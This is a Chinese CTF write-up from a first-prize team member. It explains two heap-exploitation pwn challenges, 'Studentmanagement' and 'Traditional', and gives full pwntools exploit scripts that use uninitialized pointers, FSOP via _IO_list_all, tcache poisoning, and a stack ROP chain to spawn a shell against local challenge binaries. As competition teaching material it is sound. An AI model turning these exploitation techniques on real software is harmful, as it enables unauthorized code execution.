拖延了许久才来同步,近期琐事较多,实在惭愧(其实是太懒了)
非常感谢团队每一位伙伴的并肩作战与全心投入,大家一起交出了一份不错的答卷
一路互相兜底,运气不错,最终拿到了一等奖
赛前动员

最后的总榜大屏,记录下

结束的时候发呆拍的

下面分享本人在比赛中的题目wp及复现思路
Studentmanagement

一个学生管理登录系统
结构体
typedef struct student {
char id[0x10]; // +0x00
char name[0x40]; // +0x10
char password[0x20]; // +0x50
char *bio; // +0x70
size_t bio_size; // +0x78
struct student *next; // +0x80
} student;
delete逻辑

这段是在按 ID 从 student 单链表里找节点 找到后把节点摘掉 free(student->bio) free(student)
register逻辑

可以看到注册逻辑是注册学生id,Name和pass
但是并没有初始化bio和bio_size
因为malloc不会清理旧的内容
free完再malloc的话会有残留数据bio和bio_size
edit逻辑

关键是
bio_buf =login_user->bio;
read(0, bio_buf, new_bio_size - 1);
它默认login_user->bio是一个合法 malloc 出来的 bio 缓冲区。
但如果 bio是未初始化残留,或者被我们通过堆重叠改成目标地址,那么这里就是
向login_user->bio 指向的地址写数据,也就是任意写
view逻辑

如果 login_user->bio 是未初始化残留指针,就会从那个地址开始当字符串打印
所以它可以泄露:heap 指针,libc 指针,甚至任意可读地址附近的数据
利用思路就是:
利用未初始化的 student->bio / bio_size,把 show 变成任意读,把 edit_bio 变成任意写,
最后改 _IO_list_all 做 FSOP getshell
先通过堆布局让新 student 继承残留 bio,拿到 heap地址
第一步拿到 heap,是为了后面知道 fake FILE 放哪里、以及构造堆上指针。
edit_bio() 会:
buf = stu->bio;
read(0, buf, new_size - 1);
如果 stu->bio是异常残留指针,并且 bio_size >= new_size,程序不会重新 malloc,而是直接往这个残留指针写。
所以 exp:
login(200)
edit_bio(0x88, p64(heap + 0x8F0) * 0x11)
意思是:
用 200->bio 这个异常写能力
覆盖一片 student 结构
把后续 student->bio 改成 heap+0x8F0
heap + 0x8F0 这个位置存着 libc 残留指针
然后:
login(401)
show()
libc.address = leak_bio_qword() - 0x203B20
就是:
401->bio 已经被改到 libc 残留处
show 打印 libc 指针
减偏移得到 libc base
到这里我们已经有:
heap base
libc base
有 libc base 后,exp 取:
_IO_list_all = libc.sym["_IO_list_all"]
_IO_wfile_jumps = libc.sym["_IO_wfile_jumps"]
system = libc.sym["system"]
然后继续利用 edit_bio() 的写能力,目标变成:
_IO_list_all
先在 heap 上伪造一个 FILE 结构:
fake = heap + 0xE20
fake_file = flat({
0x00: b" sh",
0x28: p64(1),
0x68: p64(system),
0x88: p64(heap + 0x1200),
0xA0: p64(fake),
0xD8: p64(_IO_wfile_jumps),
0xE0: p64(fake),
})
然后把:
_IO_list_all
改成:
fake
最后:
menu(0)
退出程序时,libc 会 flush/close FILE 链表。
由于 _IO_list_all 指向 fake FILE,就会走伪造的 FILE 链,最终调用:
system("sh")
拿 shell
因为这个程序保护比较全传统 GOT overwrite、栈 ROP 都不舒服
但是我们最终得到的是:任意写 libc 全局变量
所以走 FSOP 改 _IO_list_all 更合适
EXP
from pwn import *
import os
import time
context.arch = "amd64"
context.log_level = "debug" if args.DEBUG else "info"
HERE = os.path.dirname(os.path.abspath(__file__))
BIN = os.path.join(HERE, "pwn")
LIBC = os.path.join(HERE, "libc.so.6")
LD = os.path.join(HERE, "ld-linux-x86-64.so.2")
libc = ELF(LIBC, checksec=False)
io = process([os.fsencode(LD), b"--library-path", os.fsencode(HERE), os.fsencode(BIN)])
if args.GDB:
gdb.attach(io)
pause()
def menu(choice):
io.sendlineafter(b"> ", str(choice).encode())
def reg(sid, name=b"a", password=b"a"):
menu(1)
io.sendlineafter(b"ID: ", str(sid).encode())
io.sendlineafter(b"Name: ", name)
io.sendlineafter(b"Pass: ", password)
def login(sid, password=b"a"):
menu(2)
io.sendlineafter(b"ID: ", str(sid).encode())
io.sendlineafter(b"Pass: ", password)
def delete(sid):
menu(3)
io.sendlineafter(b"ID to delete: ", str(sid).encode())
def edit_bio(size, data):
menu(2)
io.sendline(str(size).encode())
io.send(data)
def show():
menu(1)
def logout():
menu(0)
def leak_bio_qword():
io.recvuntil(b"Bio: ")
return u64(io.recv(6).ljust(8, b"\x00"))
for sid in range(1, 5):
reg(sid)
login(3)
edit_bio(0x10, b"a")
logout()
for sid in range(100, 107):
reg(sid)
login(1)
edit_bio(0x80, b"a")
logout()
reg(5)
for sid in range(100, 106):
delete(sid)
for sid in (2, 1, 5, 106):
delete(sid)
for sid in range(200, 208):
reg(sid)
for sid in (200, 3):
login(sid)
edit_bio(0x10, b"a")
logout()
reg(514)
for sid in range(300, 305):
reg(sid)
for sid in range(200, 208):
delete(sid)
login(514)
show()
heap = leak_bio_qword() - 0xBD0
log.success(f"heap = {heap:#x}")
logout()
for sid in range(200, 208):
reg(sid)
login(200)
edit_bio(0x88, p64(heap + 0x8F0) * 0x11)
logout()
logout()
delete(200)
reg(400)
reg(401)
login(401)
show()
libc.address = leak_bio_qword() - 0x203B20
log.success(f"libc = {libc.address:#x}")
logout()
reg(403)
login(403)
io_list_all = libc.sym["_IO_list_all"]
wfile_jumps = libc.sym["_IO_wfile_jumps"]
system = libc.sym["system"]
edit_bio(0x80, p64(io_list_all) * 0x10)
logout()
logout()
reg(404)
login(404)
fake_file = heap + 0xE20
fake_file_payload = flat(
{
0x00: b" sh",
0x28: p64(1),
0x68: p64(system),
0x88: p64(heap + 0x1200),
0xA0: p64(fake_file),
0xD8: p64(wfile_jumps),
0xE0: p64(fake_file),
},
filler=b"\x00",
)
edit_bio(0x200, fake_file_payload)
logout()
delete(403)
reg(405)
reg(406)
login(406)
edit_bio(0x10, p64(fake_file))
logout()
log.success(f"_IO_list_all = {io_list_all:#x}")
menu(0)
io.interactive()
Traditional

一道菜单堆题
直接输入数字会直接导致程序终止,因为输入都要经过base64解码
解码为空或者解码失败都不会将输入转为十进制choice
给的还是自定义的base64:

注意到题目还给了一个隐藏的菜单选项7,功能是可以将某个chunk的内容copy到另一个chunk


漏洞在于这个选项长度检查用了有符号 int,但 memcpy的长度语义是无符号 size_t
如果 len 是超大无符号大数,强转成 signed int 会变成负数;
正数 size ≥ 负数永远成立,size 校验直接失效。
哪怕目标缓冲区很小,也能超大长度 memcpy,造成堆溢出

利用unsorted bin泄露main_arena地址

main_arena在libc中的偏移

进而得到libc地址,然后找environ偏移

还有一个利用点在delete的实现部分

假设传入参数 raw_idx = 0x8E,就是0x80 | 14,高4位0x8,低4位14
idx = raw_idx& 0x80= 0x80(非 0)
raw_idx &= 15就是 0x8E & 0xF = 14
free(chunk_manage_array[14].ptr)释放了原本在 14位置上的 chunk(即 Chunk A)
chunk_manage_array[14].ptr = nullptr就是清空 14 的指针
然后进入 if条件平移数组:
条件raw_idx<= 14(14 <=14 成立) && idx!= 0(成立)&& global_delete_flag == 0(成立)
循环体执行(for (i = 14; i <= 14; ++i)):
chunk_manage_array[14].ptr = chunk_manage_array[15].ptr;
就造成了程序把 15号槽位的指针(Chunk B)覆盖写到了 14号槽位上,循环结束后,14号槽位现在指向了 Chunk B
但是 15号槽位完全没有被清空,chunk_manage_array[15]依然保存着指向 Chunk B 的指针
此时,14和 15同时指向 Chunk B
接下来 exp 再调用一次正常的 delete(14),就把 Chunk B 给 free了,而 15号槽位依然握着指向已被 free的 Chunk B 的指针,至此 UAF 形成
但因为有global_delete_flag,所以这个方法只能用一次,
然后用UAF将tcache投毒到libc.sym.environ-0x18,读栈地址,并计算出目标函数返回地址
copy 负长度漏洞改第二个 freed chunk 的 fdmalloc 到 saved rbp,写 ROP
最后quit 触发 execve(“/bin/sh”, 0, 0)
EXP
from pwn import *
import base64
import time
context(arch='amd64', os='linux',log_level='debug')
context.terminal=['cmd.exe','/c','start','cmd.exe','/k','wsl.exe','bash','-lc']
std=b'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/'
custom=b'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/'
enc_table=bytes.maketrans(std,custom)
def base64enc(data):
return base64.b64encode(data).translate(enc_table)
def base64num(num):
s=str(num).encode()
return base64.b64encode(s).translate(enc_table)
io=process('./traditional')
elf=ELF('./traditional')
libc = ELF('./libc.so.6')
def add(size,idx):
io.sendlineafter(b'choice: ', base64enc(b'1'))
io.sendline(base64num(size))
io.sendline(base64num(idx))
def edit(idx,content):
io.sendlineafter(b'choice: ', base64enc(b'2'))
io.sendline(base64num(idx))
io.sendline(base64enc(content))
def show(idx):
io.sendlineafter(b'choice: ', base64enc(b'3'))
io.sendline(base64num(idx))
data=io.recvuntil(b"[DONE] handle_show",drop=True)
return data
def delete(idx):
io.sendlineafter(b'choice: ', base64enc(b'4'))
io.sendline(base64num(idx))
def quit():
io.sendlineafter(b'choice: ', base64enc(b'5'))
def copy(src,dst,len):
io.sendlineafter(b'choice: ', base64enc(b'7'))
io.sendline(base64num(src))
io.sendline(base64num(dst))
io.sendline(base64num(len))
for i in range(8):
add(0x100,i)
for i in range(1,8):
delete(i)
delete(0)
for i in range(1, 8):
add(0x100, i)
add(0x100,0)
data=show(0)
leak=u64(data[:6].ljust(8,b'\x00'))
libc.address=leak-0x233c20
log.success(f'libc base={libc.address:#x}')
data=show(7)
heap=u64(data[:5].ljust(8,b'\x00'))<<12
log.success(f'heap base={heap:#x}')
add(0x380,14)
add(0x380,15)
delete(0x80|14)
delete(14)
uaf_chunk=heap+0xf20
old_fd=u64(show(15)[:8].ljust(8,b'\x00'))
assert old_fd == ((uaf_chunk-0x390) ^ (uaf_chunk>>12))
log.success(f'uaf chunk={uaf_chunk:#x}')
environ=libc.address+0x23ae28
target=environ-0x18
edit(15,p64(target ^ (uaf_chunk>>12)))
add(0x380,14)
add(0x380,13)
edit(1,b'A'*0x30)
copy(1,13,0x18)#非零字符填充前缀
data=show(13)
stack=u64(data[0x18:0x18+6].ljust(8,b'\x00'))
log.success(f'stack={stack:#x}')
gdb.attach(io)
pause()
stack_target=stack-0x148
log.success(f'saved rbp target={stack_target:#x}')
add(0xc0,8)
add(0xa0,9)
add(0x100,10)
add(0x100,11)
add(0xa0,12)
victim=uaf_chunk+0x460
log.success(f'victim chunk={victim:#x}')
edit(10,b'B'*0x60+p64(stack_target ^ (victim>>12)))
delete(12)
delete(9)
copy(11,10,0xfffffff0)
add(0xa0,9)
add(0xa0,12)
ret=libc.address+0x28842
pop_rdi=libc.address+0x11b87a
pop_rsi=libc.address+0x5c207
pop_rdx=libc.address+0x48c92
bin_sh=libc.address+0x1db4c3
execve=libc.address+0xf86c0
payload=p64(0)+flat(
ret,
pop_rdi,bin_sh,
pop_rsi,0,
pop_rdx,0,
execve
)
edit(12,payload)
quit()
io.interactive()









